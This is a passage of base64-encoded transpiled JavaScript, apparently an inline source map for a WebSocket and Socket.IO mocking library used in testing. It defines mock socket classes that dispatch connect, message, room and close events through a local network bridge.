JzL2RlbGF5Jyk7XG5cbnZhciBfaGVscGVyc0RlbGF5MiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX2hlbHBlcnNEZWxheSk7XG5cbnZhciBfZXZlbnRUYXJnZXQgPSByZXF1aXJlKCcuL2V2ZW50LXRhcmdldCcpO1xuXG52YXIgX2V2ZW50VGFyZ2V0MiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX2V2ZW50VGFyZ2V0KTtcblxudmFyIF9uZXR3b3JrQnJpZGdlID0gcmVxdWlyZSgnLi9uZXR3b3JrLWJyaWRnZScpO1xuXG52YXIgX25ldHdvcmtCcmlkZ2UyID0gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChfbmV0d29ya0JyaWRnZSk7XG5cbnZhciBfaGVscGVyc0Nsb3NlQ29kZXMgPSByZXF1aXJlKCcuL2hlbHBlcnMvY2xvc2UtY29kZXMnKTtcblxudmFyIF9oZWxwZXJzQ2xvc2VDb2RlczIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9oZWxwZXJzQ2xvc2VDb2Rlcyk7XG5cbnZhciBfZXZlbnRGYWN0b3J5ID0gcmVxdWlyZSgnLi9ldmVudC1mYWN0b3J5Jyk7XG5cbi8qXG4qIFRoZSBzb2NrZXQtaW8gY2xhc3MgaXMgZGVzaWduZWQgdG8gbWltaWNrIHRoZSByZWFsIEFQSSBhcyBjbG9zZWx5IGFzIHBvc3NpYmxlLlxuKlxuKiBodHRwOi8vc29ja2V0LmlvL2RvY3MvXG4qL1xuXG52YXIgU29ja2V0SU8gPSAoZnVuY3Rpb24gKF9FdmVudFRhcmdldCkge1xuICBfaW5oZXJpdHMoU29ja2V0SU8sIF9FdmVudFRhcmdldCk7XG5cbiAgLypcbiAgKiBAcGFyYW0ge3N0cmluZ30gdXJsXG4gICovXG5cbiAgZnVuY3Rpb24gU29ja2V0SU8oKSB7XG4gICAgdmFyIF90aGlzID0gdGhpcztcblxuICAgIHZhciB1cmwgPSBhcmd1bWVudHMubGVuZ3RoIDw9IDAgfHwgYXJndW1lbnRzWzBdID09PSB1bmRlZmluZWQgPyAnc29ja2V0LmlvJyA6IGFyZ3VtZW50c1swXTtcbiAgICB2YXIgcHJvdG9jb2wgPSBhcmd1bWVudHMubGVuZ3RoIDw9IDEgfHwgYXJndW1lbnRzWzFdID09PSB1bmRlZmluZWQgPyAnJyA6IGFyZ3VtZW50c1sxXTtcblxuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBTb2NrZXRJTyk7XG5cbiAgICBfZ2V0KE9iamVjdC5nZXRQcm90b3R5cGVPZihTb2NrZXRJTy5wcm90b3R5cGUpLCAnY29uc3RydWN0b3InLCB0aGlzKS5jYWxsKHRoaXMpO1xuXG4gICAgdGhpcy5iaW5hcnlUeXBlID0gJ2Jsb2InO1xuICAgIHRoaXMudXJsID0gKDAsIF91cmlqczJbJ2RlZmF1bHQnXSkodXJsKS50b1N0cmluZygpO1xuICAgIHRoaXMucmVhZHlTdGF0ZSA9IFNvY2tldElPLkNPTk5FQ1RJTkc7XG4gICAgdGhpcy5wcm90b2NvbCA9ICcnO1xuXG4gICAgaWYgKHR5cGVvZiBwcm90b2NvbCA9PT0gJ3N0cmluZycpIHtcbiAgICAgIHRoaXMucHJvdG9jb2wgPSBwcm90b2NvbDtcbiAgICB9IGVsc2UgaWYgKEFycmF5LmlzQXJyYXkocHJvdG9jb2wpICYmIHByb3RvY29sLmxlbmd0aCA+IDApIHtcbiAgICAgIHRoaXMucHJvdG9jb2wgPSBwcm90b2NvbFswXTtcbiAgICB9XG5cbiAgICB2YXIgc2VydmVyID0gX25ldHdvcmtCcmlkZ2UyWydkZWZhdWx0J10uYXR0YWNoV2ViU29ja2V0KHRoaXMsIHRoaXMudXJsKTtcblxuICAgIC8qXG4gICAgKiBEZWxheSB0cmlnZ2VyaW5nIHRoZSBjb25uZWN0aW9uIGV2ZW50cyBzbyB0aGV5IGNhbiBiZSBkZWZpbmVkIGluIHRpbWUuXG4gICAgKi9cbiAgICAoMCwgX2hlbHBlcnNEZWxheTJbJ2RlZmF1bHQnXSkoZnVuY3Rpb24gZGVsYXlDYWxsYmFjaygpIHtcbiAgICAgIGlmIChzZXJ2ZXIpIHtcbiAgICAgICAgdGhpcy5yZWFkeVN0YXRlID0gU29ja2V0SU8uT1BFTjtcbiAgICAgICAgc2VydmVyLmRpc3BhdGNoRXZlbnQoKDAsIF9ldmVudEZhY3RvcnkuY3JlYXRlRXZlbnQpKHsgdHlwZTogJ2Nvbm5lY3Rpb24nIH0pLCBzZXJ2ZXIsIHRoaXMpO1xuICAgICAgICBzZXJ2ZXIuZGlzcGF0Y2hFdmVudCgoMCwgX2V2ZW50RmFjdG9yeS5jcmVhdGVFdmVudCkoeyB0eXBlOiAnY29ubmVjdCcgfSksIHNlcnZlciwgdGhpcyk7IC8vIGFsaWFzXG4gICAgICAgIHRoaXMuZGlzcGF0Y2hFdmVudCgoMCwgX2V2ZW50RmFjdG9yeS5jcmVhdGVFdmVudCkoeyB0eXBlOiAnY29ubmVjdCcsIHRhcmdldDogdGhpcyB9KSk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICB0aGlzLnJlYWR5U3RhdGUgPSBTb2NrZXRJTy5DTE9TRUQ7XG4gICAgICAgIHRoaXMuZGlzcGF0Y2hFdmVudCgoMCwgX2V2ZW50RmFjdG9yeS5jcmVhdGVFdmVudCkoeyB0eXBlOiAnZXJyb3InLCB0YXJnZXQ6IHRoaXMgfSkpO1xuICAgICAgICB0aGlzLmRpc3BhdGNoRXZlbnQoKDAsIF9ldmVudEZhY3RvcnkuY3JlYXRlQ2xvc2VFdmVudCkoe1xuICAgICAgICAgIHR5cGU6ICdjbG9zZScsXG4gICAgICAgICAgdGFyZ2V0OiB0aGlzLFxuICAgICAgICAgIGNvZGU6IF9oZWxwZXJzQ2xvc2VDb2RlczJbJ2RlZmF1bHQnXS5DTE9TRV9OT1JNQUxcbiAgICAgICAgfSkpO1xuXG4gICAgICAgIGNvbnNvbGUuZXJyb3IoJ1NvY2tldC5pbyBjb25uZWN0aW9uIHRvIFxcJycgKyB0aGlzLnVybCArICdcXCcgZmFpbGVkJyk7XG4gICAgICB9XG4gICAgfSwgdGhpcyk7XG5cbiAgICAvKipcbiAgICAgIEFkZCBhbiBhbGlhc2VkIGV2ZW50IGxpc3RlbmVyIGZvciBjbG9zZSAvIGRpc2Nvbm5lY3RcbiAgICAgKi9cbiAgICB0aGlzLmFkZEV2ZW50TGlzdGVuZXIoJ2Nsb3NlJywgZnVuY3Rpb24gKGV2ZW50KSB7XG4gICAgICBfdGhpcy5kaXNwYXRjaEV2ZW50KCgwLCBfZXZlbnRGYWN0b3J5LmNyZWF0ZUNsb3NlRXZlbnQpKHtcbiAgICAgICAgdHlwZTogJ2Rpc2Nvbm5lY3QnLFxuICAgICAgICB0YXJnZXQ6IGV2ZW50LnRhcmdldCxcbiAgICAgICAgY29kZTogZXZlbnQuY29kZVxuICAgICAgfSkpO1xuICAgIH0pO1xuICB9XG5cbiAgLypcbiAgKiBDbG9zZXMgdGhlIFNvY2tldElPIGNvbm5lY3Rpb24gb3IgY29ubmVjdGlvbiBhdHRlbXB0LCBpZiBhbnkuXG4gICogSWYgdGhlIGNvbm5lY3Rpb24gaXMgYWxyZWFkeSBDTE9TRUQsIHRoaXMgbWV0aG9kIGRvZXMgbm90aGluZy5cbiAgKi9cblxuICBfY3JlYXRlQ2xhc3MoU29ja2V0SU8sIFt7XG4gICAga2V5OiAnY2xvc2UnLFxuICAgIHZhbHVlOiBmdW5jdGlvbiBjbG9zZSgpIHtcbiAgICAgIGlmICh0aGlzLnJlYWR5U3RhdGUgIT09IFNvY2tldElPLk9QRU4pIHtcbiAgICAgICAgcmV0dXJuIHVuZGVmaW5lZDtcbiAgICAgIH1cblxuICAgICAgdmFyIHNlcnZlciA9IF9uZXR3b3JrQnJpZGdlMlsnZGVmYXVsdCddLnNlcnZlckxvb2t1cCh0aGlzLnVybCk7XG4gICAgICBfbmV0d29ya0JyaWRnZTJbJ2RlZmF1bHQnXS5yZW1vdmVXZWJTb2NrZXQodGhpcywgdGhpcy51cmwpO1xuXG4gICAgICB0aGlzLnJlYWR5U3RhdGUgPSBTb2NrZXRJTy5DTE9TRUQ7XG4gICAgICB0aGlzLmRpc3BhdGNoRXZlbnQoKDAsIF9ldmVudEZhY3RvcnkuY3JlYXRlQ2xvc2VFdmVudCkoe1xuICAgICAgICB0eXBlOiAnY2xvc2UnLFxuICAgICAgICB0YXJnZXQ6IHRoaXMsXG4gICAgICAgIGNvZGU6IF9oZWxwZXJzQ2xvc2VDb2RlczJbJ2RlZmF1bHQnXS5DTE9TRV9OT1JNQUxcbiAgICAgIH0pKTtcblxuICAgICAgaWYgKHNlcnZlcikge1xuICAgICAgICBzZXJ2ZXIuZGlzcGF0Y2hFdmVudCgoMCwgX2V2ZW50RmFjdG9yeS5jcmVhdGVDbG9zZUV2ZW50KSh7XG4gICAgICAgICAgdHlwZTogJ2Rpc2Nvbm5lY3QnLFxuICAgICAgICAgIHRhcmdldDogdGhpcyxcbiAgICAgICAgICBjb2RlOiBfaGVscGVyc0Nsb3NlQ29kZXMyWydkZWZhdWx0J10uQ0xPU0VfTk9STUFMXG4gICAgICAgIH0pLCBzZXJ2ZXIpO1xuICAgICAgfVxuICAgIH1cblxuICAgIC8qXG4gICAgKiBBbGlhcyBmb3IgU29ja2V0I2Nsb3NlXG4gICAgKlxuICAgICogaHR0cHM6Ly9naXRodWIuY29tL3NvY2tldGlvL3NvY2tldC5pby1jbGllbnQvYmxvYi9tYXN0ZXIvbGliL3NvY2tldC5qcyNMMzgzXG4gICAgKi9cbiAgfSwge1xuICAgIGtleTogJ2Rpc2Nvbm5lY3QnLFxuICAgIHZhbHVlOiBmdW5jdGlvbiBkaXNjb25uZWN0KCkge1xuICAgICAgdGhpcy5jbG9zZSgpO1xuICAgIH1cblxuICAgIC8qXG4gICAgKiBTdWJtaXRzIGFuIGV2ZW50IHRvIHRoZSBzZXJ2ZXIgd2l0aCBhIHBheWxvYWRcbiAgICAqL1xuICB9LCB7XG4gICAga2V5OiAnZW1pdCcsXG4gICAgdmFsdWU6IGZ1bmN0aW9uIGVtaXQoZXZlbnQsIGRhdGEpIHtcbiAgICAgIGlmICh0aGlzLnJlYWR5U3RhdGUgIT09IFNvY2tldElPLk9QRU4pIHtcbiAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdTb2NrZXRJTyBpcyBhbHJlYWR5IGluIENMT1NJTkcgb3IgQ0xPU0VEIHN0YXRlJyk7XG4gICAgICB9XG5cbiAgICAgIHZhciBtZXNzYWdlRXZlbnQgPSAoMCwgX2V2ZW50RmFjdG9yeS5jcmVhdGVNZXNzYWdlRXZlbnQpKHtcbiAgICAgICAgdHlwZTogZXZlbnQsXG4gICAgICAgIG9yaWdpbjogdGhpcy51cmwsXG4gICAgICAgIGRhdGE6IGRhdGFcbiAgICAgIH0pO1xuXG4gICAgICB2YXIgc2VydmVyID0gX25ldHdvcmtCcmlkZ2UyWydkZWZhdWx0J10uc2VydmVyTG9va3VwKHRoaXMudXJsKTtcblxuICAgICAgaWYgKHNlcnZlcikge1xuICAgICAgICBzZXJ2ZXIuZGlzcGF0Y2hFdmVudChtZXNzYWdlRXZlbnQsIGRhdGEpO1xuICAgICAgfVxuICAgIH1cblxuICAgIC8qXG4gICAgKiBTdWJtaXRzIGEgJ21lc3NhZ2UnIGV2ZW50IHRvIHRoZSBzZXJ2ZXIuXG4gICAgKlxuICAgICogU2hvdWxkIGJlaGF2ZSBleGFjdGx5IGxpa2UgV2ViU29ja2V0I3NlbmRcbiAgICAqXG4gICAgKiBodHRwczovL2dpdGh1Yi5jb20vc29ja2V0aW8vc29ja2V0LmlvLWNsaWVudC9ibG9iL21hc3Rlci9saWIvc29ja2V0LmpzI0wxMTNcbiAgICAqL1xuICB9LCB7XG4gICAga2V5OiAnc2VuZCcsXG4gICAgdmFsdWU6IGZ1bmN0aW9uIHNlbmQoZGF0YSkge1xuICAgICAgdGhpcy5lbWl0KCdtZXNzYWdlJywgZGF0YSk7XG4gICAgfVxuXG4gICAgLypcbiAgICAqIEZvciByZWdpc3RlcmluZyBldmVudHMgdG8gYmUgcmVjZWl2ZWQgZnJvbSB0aGUgc2VydmVyXG4gICAgKi9cbiAgfSwge1xuICAgIGtleTogJ29uJyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gb24odHlwZSwgY2FsbGJhY2spIHtcbiAgICAgIHRoaXMuYWRkRXZlbnRMaXN0ZW5lcih0eXBlLCBjYWxsYmFjayk7XG4gICAgfVxuXG4gICAgLypcbiAgICAgKiBKb2luIGEgcm9vbSBvbiBhIHNlcnZlclxuICAgICAqXG4gICAgICogaHR0cDovL3NvY2tldC5pby9kb2NzL3Jvb21zLWFuZC1uYW1lc3BhY2VzLyNqb2luaW5nLWFuZC1sZWF2aW5nXG4gICAgICovXG4gIH0sIHtcbiAgICBrZXk6ICdqb2luJyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gam9pbihyb29tKSB7XG4gICAgICBfbmV0d29ya0JyaWRnZTJbJ2RlZmF1bHQnXS5hZGRNZW1iZXJzaGlwVG9Sb29tKHRoaXMsIHJvb20pO1xuICAgIH1cblxuICAgIC8qXG4gICAgICogR2V0IHRoZSB3ZWJzb2NrZXQgdG8gbGVhdmUgdGhlIHJvb21cbiAgICAgKlxuICAgICAqIGh0dHA6Ly9zb2NrZXQuaW8vZG9jcy9yb29tcy1hbmQtbmFtZXNwYWNlcy8jam9pbmluZy1hbmQtbGVhdmluZ1xuICAgICAqL1xuICB9LCB7XG4gICAga2V5OiAnbGVhdmUnLFxuICAgIHZhbHVlOiBmdW5jdGlvbiBsZWF2ZShyb29tKSB7XG4gICAgICBfbmV0d29ya0JyaWRnZTJbJ2RlZmF1bHQnXS5yZW1vdmVNZW1iZXJzaGlwRnJvbVJvb20odGhpcywgcm9vbSk7XG4gICAgfVxuXG4gICAgLypcbiAgICAgKiBJbnZva2VzIGFsbCBsaXN0ZW5lciBmdW5jdGlvbnMgdGhhdCBhcmUgbGlzdGVuaW5nIHRvIHRoZSBnaXZlbiBldmVudC50eXBlIHByb3BlcnR5LiBFYWNoXG4gICAgICogbGlzdGVuZXIgd2lsbCBiZSBwYXNzZWQgdGhlIGV2ZW50IGFzIHRoZSBmaXJzdCBhcmd1bWVudC5cbiAgICAgKlxuICAgICAqIEBwYXJhbSB7b2JqZWN0fSBldmVudCAtIGV2ZW50IG9iamVjdCB3aGljaCB3aWxsIGJlIHBhc3NlZCB0byBhbGwgbGlzdGVuZXJzIG9mIHRoZSBldmVudC50eXBlIHByb3BlcnR5XG4gICAgICovXG4gIH0sIHtcbiAgICBrZXk6ICdkaXNwYXRjaEV2ZW50JyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gZGlzcGF0Y2hFdmVudChldmVudCkge1xuICAgICAgdmFyIF90aGlzMiA9IHRoaXM7XG5cbiAgICAgIGZvciAodmFyIF9sZW4gPSBhcmd1bWVudHMubGVuZ3RoLCBjdXN0b21Bcmd1bWVudHMgPSBBcnJheShfbGVuID4gMSA/IF9sZW4gLSAxIDogMCksIF9rZXkgPSAxOyBfa2V5IDwgX2xlbjsgX2tleSsrKSB7XG4gICAgICAgIGN1c3RvbUFyZ3VtZW50c1tfa2V5IC0gMV0gPSBhcmd1bWVudHNbX2tleV07XG4gICAgICB9XG5cbiAgICAgIHZhciBldmVudE5hbWUgPSBldmVudC50eXBlO1xuICAgICAgdmFyIGxpc3RlbmVycyA9IHRoaXMubGlzdGVuZXJzW2V2ZW50TmFtZV07XG5cbiAgICAgIGlmICghQXJyYXkuaXNBcnJheShsaXN0ZW5lcnMpKSB7XG4gICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgIH1cblxuICAgICAgbGlzdGVuZXJzLmZvckVhY2goZnVuY3Rpb24gKGxpc3RlbmVyKSB7XG4gICAgICAgIGlmIChjdXN0b21Bcmd1bWVudHMubGVuZ3RoID4gMCkge1xuICAgICAgICAgIGxpc3RlbmVyLmFwcGx5KF90aGlzMiwgY3VzdG9tQXJndW1lbnRzKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAvLyBSZWd1bGFyIFdlYlNvY2tldHMgZXhwZWN0IGEgTWVzc2FnZUV2ZW50IGJ1dCBTb2NrZXRpby5pbyBqdXN0IHdhbnRzIHJhdyBkYXRhXG4gICAgICAgICAgLy8gIHBheWxvYWQgaW5zdGFuY2VvZiBNZXNzYWdlRXZlbnQgd29ya3MsIGJ1dCB5b3UgY2FuJ3QgaXNudGFuY2Ugb2YgTm9kZUV2ZW50XG4gICAgICAgICAgLy8gIGZvciBub3cgd2UgZGV0ZWN0IGlmIHRoZSBvdXRwdXQgaGFzIGRhdGEgZGVmaW5lZCBvbiBpdFxuICAgICAgICAgIGxpc3RlbmVyLmNhbGwoX3RoaXMyLCBldmVudC5kYXRhID8gZXZlbnQuZGF0YSA6IGV2ZW50KTtcbiAgICAgICAgfVxuICAgICAgfSk7XG4gICAgfVxuICB9XSk7XG5cbiAgcmV0dXJuIFNvY2tldElPO1xufSkoX2V2ZW50VGFyZ2V0MlsnZGVmYXVsdCddKTtcblxuU29ja2V0SU8uQ09OTkVDVElORyA9IDA7XG5Tb2NrZXRJTy5PUEVOID0gMTtcblNvY2tldElPLkNMT1NJTkcgPSAyO1xuU29ja2V0SU8uQ0xPU0VEID0gMztcblxuLypcbiogU3RhdGljIGNvbnN0cnVjdG9yIG1ldGhvZHMgZm9yIHRoZSBJTyBTb2NrZXRcbiovXG52YXIgSU8gPSBmdW5jdGlvbiBpb0NvbnN0cnVjdG9yKHVybCkge1xuICByZXR1cm4gbmV3IFNvY2tldElPKHVybCk7XG59O1xuXG4vKlxuKiBBbGlhcyB0aGUgcmF3IElPKCkgY29uc3RydWN0b3JcbiovXG5JTy5jb25uZWN0ID0gZnVuY3Rpb24gaW9Db25uZWN0KHVybCkge1xuICAvKiBlc2xpbnQtZGlzYWJsZSBuZXctY2FwICovXG4gIHJldHVybiBJTyh1cmwpO1xuICAvKiBlc2xpbnQtZW5hYmxlIG5ldy1jYXAgKi9cbn07XG5cbmV4cG9ydHNbJ2RlZmF1bHQnXSA9IElPO1xubW9kdWxlLmV4cG9ydHMgPSBleHBvcnRzWydkZWZhdWx0J107IiwiJ3VzZSBzdHJpY3QnO1xuXG5PYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgJ19fZXNNb2R1bGUnLCB7XG4gIHZhbHVlOiB0cnVlXG59KTtcblxudmFyIF9jcmVhdGVDbGFzcyA9IChmdW5jdGlvbiAoKSB7IGZ1bmN0aW9uIGRlZmluZVByb3BlcnRpZXModGFyZ2V0LCBwcm9wcykgeyBmb3IgKHZhciBpID0gMDsgaSA8IHByb3BzLmxlbmd0aDsgaSsrKSB7IHZhciBkZXNjcmlwdG9yID0gcHJvcHNbaV07IGRlc2NyaXB0b3IuZW51bWVyYWJsZSA9IGRlc2NyaXB0b3IuZW51bWVyYWJsZSB8fCBmYWxzZTsgZGVzY3JpcHRvci5jb25maWd1cmFibGUgPSB0cnVlOyBpZiAoJ3ZhbHVlJyBpbiBkZXNjcmlwdG9yKSBkZXNjcmlwdG9yLndyaXRhYmxlID0gdHJ1ZTsgT2JqZWN0LmRlZmluZVByb3BlcnR5KHRhcmdldCwgZGVzY3JpcHRvci5rZXksIGRlc2NyaXB0b3IpOyB9IH0gcmV0dXJuIGZ1bmN0aW9uIChDb25zdHJ1Y3RvciwgcHJvdG9Qcm9wcywgc3RhdGljUHJvcHMpIHsgaWYgKHByb3RvUHJvcHMpIGRlZmluZVByb3BlcnRpZXMoQ29uc3RydWN0b3IucHJvdG90eXBlLCBwcm90b1Byb3BzKTsgaWYgKHN0YXRpY1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLCBzdGF0aWNQcm9wcyk7IHJldHVybiBDb25zdHJ1Y3RvcjsgfTsgfSkoKTtcblxudmFyIF9nZXQgPSBmdW5jdGlvbiBnZXQoX3gyLCBfeDMsIF94NCkgeyB2YXIgX2FnYWluID0gdHJ1ZTsgX2Z1bmN0aW9uOiB3aGlsZSAoX2FnYWluKSB7IHZhciBvYmplY3QgPSBfeDIsIHByb3BlcnR5ID0gX3gzLCByZWNlaXZlciA9IF94NDsgX2FnYWluID0gZmFsc2U7IGlmIChvYmplY3QgPT09IG51bGwpIG9iamVjdCA9IEZ1bmN0aW9uLnByb3RvdHlwZTsgdmFyIGRlc2MgPSBPYmplY3QuZ2V0T3duUHJvcGVydHlEZXNjcmlwdG9yKG9iamVjdCwgcHJvcGVydHkpOyBpZiAoZGVzYyA9PT0gdW5kZWZpbmVkKSB7IHZhciBwYXJlbnQgPSBPYmplY3QuZ2V0UHJvdG90eXBlT2Yob2JqZWN0KTsgaWYgKHBhcmVudCA9PT0gbnVsbCkgeyByZXR1cm4gdW5kZWZpbmVkOyB9IGVsc2UgeyBfeDIgPSBwYXJlbnQ7IF94MyA9IHByb3BlcnR5OyBfeDQgPSByZWNlaXZlcjsgX2FnYWluID0gdHJ1ZTsgZGVzYyA9IHBhcmVudCA9IHVuZGVmaW5lZDsgY29udGludWUgX2Z1bmN0aW9uOyB9IH0gZWxzZSBpZiAoJ3ZhbHVlJyBpbiBkZXNjKSB7IHJldHVybiBkZXNjLnZhbHVlOyB9IGVsc2UgeyB2YXIgZ2V0dGVyID0gZGVzYy5nZXQ7IGlmIChnZXR0ZXIgPT09IHVuZGVmaW5lZCkgeyByZXR1cm4gdW5kZWZpbmVkOyB9IHJldHVybiBnZXR0ZXIuY2FsbChyZWNlaXZlcik7IH0gfSB9O1xuXG5mdW5jdGlvbiBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KG9iaikgeyByZXR1cm4gb2JqICYmIG9iai5fX2VzTW9kdWxlID8gb2JqIDogeyAnZGVmYXVsdCc6IG9iaiB9OyB9XG5cbmZ1bmN0aW9uIF9jbGFzc0NhbGxDaGVjayhpbnN0YW5jZSwgQ29uc3RydWN0b3IpIHsgaWYgKCEoaW5zdGFuY2UgaW5zdGFuY2VvZiBDb25zdHJ1Y3RvcikpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcignQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uJyk7IH0gfVxuXG5mdW5jdGlvbiBfaW5oZXJpdHMoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIHsgaWYgKHR5cGVvZiBzdXBlckNsYXNzICE9PSAnZnVuY3Rpb24nICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcignU3VwZXIgZXhwcmVzc2lvbiBtdXN0IGVpdGhlciBiZSBudWxsIG9yIGEgZnVuY3Rpb24sIG5vdCAnICsgdHlwZW9mIHN1cGVyQ2xhc3MpOyB9IHN1YkNsYXNzLnByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUoc3VwZXJDbGFzcyAmJiBzdXBlckNsYXNzLnByb3RvdHlwZSwgeyBjb25zdHJ1Y3RvcjogeyB2YWx1ZTogc3ViQ2xhc3MsIGVudW1lcmFibGU6IGZhbHNlLCB3cml0YWJsZTogdHJ1ZSwgY29uZmlndXJhYmxlOiB0cnVlIH0gfSk7IGlmIChzdXBlckNsYXNzKSBPYmplY3Quc2V0UHJvdG90eXBlT2YgPyBPYmplY3Quc2V0UHJvdG90eXBlT2Yoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIDogc3ViQ2xhc3MuX19wcm90b19fID0gc3VwZXJDbGFzczsgfVxuXG52YXIgX3VyaWpzID0gcmVxdWlyZSgndXJpanMnKTtcblxudmFyIF91cmlqczIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF91cmlqcyk7XG5cbnZhciBfaGVscGVyc0RlbGF5ID0gcmVxdWlyZSgnLi9oZWxwZXJzL2RlbGF5Jyk7XG5cbnZhciBfaGVscGVyc0RlbGF5MiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX2hlbHBlcnNEZWxheSk7XG5cbnZhciBfZXZlbnRUYXJnZXQgPSByZXF1aXJlKCcuL2V2ZW50LXRhcmdldCcpO1xuXG52YXIgX2V2ZW50VGFyZ2V0MiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX2V2ZW50VGFyZ2V0KTtcblxudmFyIF9uZXR3b3JrQnJpZGdlID0gcmVxdWlyZSgnLi9uZXR3b3JrLWJyaWRnZScpO1xuXG52YXIgX25ldHdvcmtCcmlkZ2UyID0gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChfbmV0d29ya0JyaWRnZSk7XG5cbnZhciBfaGVscGVyc0Nsb3NlQ29kZXMgPSByZXF1aXJlKCcuL2hlbHBlcnMvY2xvc2UtY29kZXMnKTtcblxudmFyIF9oZWxwZXJzQ2xvc2VDb2RlczIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9oZWxwZXJzQ2xvc2VDb2Rlcyk7XG5cbnZhciBfZXZlbnRGYWN0b3J5ID0gcmVxdWlyZSgnLi9ldmVudC1mYWN0b3J5Jyk7XG5cbi8qXG4qIFRoZSBtYWluIHdlYnNvY2tldCBjbGFzcyB3aGljaCBpcyBkZXNpZ25lZCB0byBtaW1pY2sgdGhlIG5hdGl2ZSBXZWJTb2NrZXQgY2xhc3MgYXMgY2xvc2VcbiogYXMgcG9zc2libGUuXG4qXG4qIGh0dHBzOi8vZGV2ZWxvcGVyLm1vemlsbGEub3JnL2VuLVVTL2RvY3MvV2ViL0FQSS9XZWJTb2NrZXRcbiovXG5cbnZhciBXZWJTb2NrZXQgPSAoZnVuY3Rpb24gKF9FdmVudFRhcmdldCkge1xuICBfaW5oZXJpdHMoV2ViU29ja2V0LCBfRXZlbnRUYXJnZXQpO1xuXG4gIC8qXG4gICogQHBhcmFtIHtzdHJpbmd9IHVybFxuICAqL1xuXG4gIGZ1bmN0aW9uIFdlYlNvY2tldCh1cmwpIHtcbiAgICB2YXIgcHJvdG9jb2wgPSBhcmd1bWVudHMubGVuZ3RoIDw9IDEgfHwgYXJndW1lbnRzWzFdID09PSB1bmRlZmluZWQgPyAnJyA6IGFyZ3VtZW50c1sxXTtcblxuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBXZWJTb2NrZXQpO1xuXG4gICAgX2dldChPYmplY3QuZ2V0UHJvdG90eXBlT2YoV2ViU29ja2V0LnByb3RvdHlwZSksICdjb25zdHJ1Y3RvcicsIHRoaXMpLmNhbGwodGhpcyk7XG5cbiAgICBpZiAoIXVybCkge1xuICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignRmFpbGVkIHRvIGNvbnN0cnVjdCBcXCdXZWJTb2NrZXRcXCc6IDEgYXJndW1lbnQgcmVxdWlyZWQsIGJ1dCBvbmx5IDAgcHJlc2VudC4nKTtcbiAgICB9XG5cbiAgICB0aGlzLmJpbmFyeVR5cGUgPSAnYmxvYic7XG4gICAgdGhpcy51cmwgPSAoMCwgX3VyaWpzMlsnZGVmYXVsdCddKSh1cmwpLnRvU3RyaW5nKCk7XG4gICAgdGhpcy5yZWFkeVN0YXRlID0gV2ViU29ja2V0LkNPTk5FQ1RJTkc7XG4gICAgdGhpcy5wcm90b2NvbCA9ICcnO1xuXG4gICAgaWYgKHR5cGVvZiBwcm90b2NvbCA9PT0gJ3N0cmluZycpIHtcbiAgICAgIHRoaXMucHJvdG9jb2wgPSBwcm90b2NvbDtcbiAgICB9IGVsc2UgaWYgKEFycmF5LmlzQXJyYXkocHJvdG9jb2wpICYmIHByb3RvY29sLmxlbmd0aCA+IDApIHtcbiAgICAgIHRoaXMucHJvdG9jb2wgPSBwcm90b2NvbFswXTtcbiAgICB9XG5cbiAgICAvKlxuICAgICogSW4gb3JkZXIgdG8gY2FwdHVyZSB0aGUgY2FsbGJhY2sgZnVuY3Rpb24gd2UgbmVlZCB0byBkZWZpbmUgY3VzdG9tIHNldHRlcnMuXG4gICAgKiBUbyBpbGx1c3RyYXRlOlxuICAgICogICBteVNvY2tldC5vbm9wZW4gPSBmdW5jdGlvbigpIHsgYWxlcnQodHJ1ZSkgfTtcbiAgICAqXG4gICAgKiBUaGUgb25seSB3YXkgdG8gY2FwdHVyZSB0aGF0IGZ1bmN0aW9uIGFuZCBob2xkIG9udG8gaXQgZm9yIGxhdGVyIGlzIHdpdGggdGhlXG4gICAgKiBiZWxvdyBjb2RlOlxuICAgICovXG4gICAgT2JqZWN0LmRlZmluZVByb3BlcnRpZXModGhpcywge1xuICAgICAgb25vcGVuOiB7XG4gICAgICAgIGNvbmZpZ3VyYWJsZTogdHJ1ZSxcbiAgICAgICAgZW51bWVyYWJsZTogdHJ1ZSxcbiAgICAgICAgZ2V0OiBmdW5jdGlvbiBnZXQoKSB7XG4gICAgICAgICAgcmV0dXJuIHRoaXMubGlzdGVuZXJzLm9wZW47XG4gICAgICAgIH0sXG4gICAgICAgIHNldDogZnVuY3Rpb24gc2V0KGxpc3RlbmVyKSB7XG4gICAgICAgICAgdGhpcy5hZGRFdmVudExpc3RlbmVyKCdvcGVuJywgbGlzdGVuZXIpO1xuICAgICAgICB9XG4gICAgICB9LFxuICAgICAgb25tZXNzYWdlOiB7XG4gICAgICAgIGNvbmZpZ3VyYWJsZTogdHJ1ZSxcbiAgICAgICAgZW51bWVyYWJsZTogdHJ1ZSxcbiAgICAgICAgZ2V0OiBmdW5jdGlvbiBnZXQoKSB7XG4gICAgICAgICAgcmV0dXJuIHRoaXMubGlzdGVuZXJzLm1lc3NhZ2U7XG4gI